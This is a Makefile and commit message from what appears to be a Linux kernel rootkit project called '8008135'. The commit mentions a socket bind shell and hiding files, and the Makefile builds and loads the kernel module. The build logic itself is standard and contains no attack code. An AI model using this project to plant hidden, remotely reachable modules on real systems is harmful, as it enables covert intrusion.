8008135/Makefile
Valentin Lechner 062fdebeae Changing Folder Structures and extending the Makefile for Needs
Added an 'src' dir with subfolders headers, include, libs
Extending Makefile, so that all the Files get included for
the build.
Also adding the "load" option for make, which loads the module
(has to be built before) as well as the "unload" option which unloads
the module.
The "all" option now automatically builds the sysgen.h from the script,
it doesn't have to be executed in forehand anymore.
Also, some Variables got added for better readability and changeability.

After the socket bindshell didnt work so far, I added some DEBUG Kernel prints
to debug the issue that sometimes the files to be hidden get displayed
as "?"

Also, a few Functions for debugging have been added - but I was too tired
to add them to the collection and use them instead of ```printk```
2019-11-21 03:02:37 +01:00

39 lines
700 B
Makefile

# Module name
MNAME := 8008135
# Build
MODULEDIR := /lib/modules/$(shell uname -r)
BUILDDIR := $(MODULEDIR)/build
KERNELDIR := $(MODULEDIR)/kernel
# Source files
SRCS_S := src
LIBS_S := src/libs
INCL_S := src/include
# Header files
SRCS_H := $(PWD)/$(SRCS_S)/headers
LIBS_H := $(PWD)/$(LIBS_S)/headers
INCL_H := $(PWD)/$(INCL_S)/headers
obj-m += $(MNAME).o
# Core
$(MNAME)-y += src/$(MNAME).o
# Includes for header files etc
ccflags-y := -I$(SRCS_H) -I$(LIBS_H) -I$(INCL_H)
all:
$(shell $(SRCS_S)/create_sysgen.sh)
$(MAKE) -C $(BUILDDIR) M=$(PWD) modules
load:
insmod $(MNAME).ko
unload:
rmmod $(MNAME)
clean:
-rm $(SRCS_H)/sysgen.h
$(MAKE) -C $(BUILDDIR) M=$(PWD) clean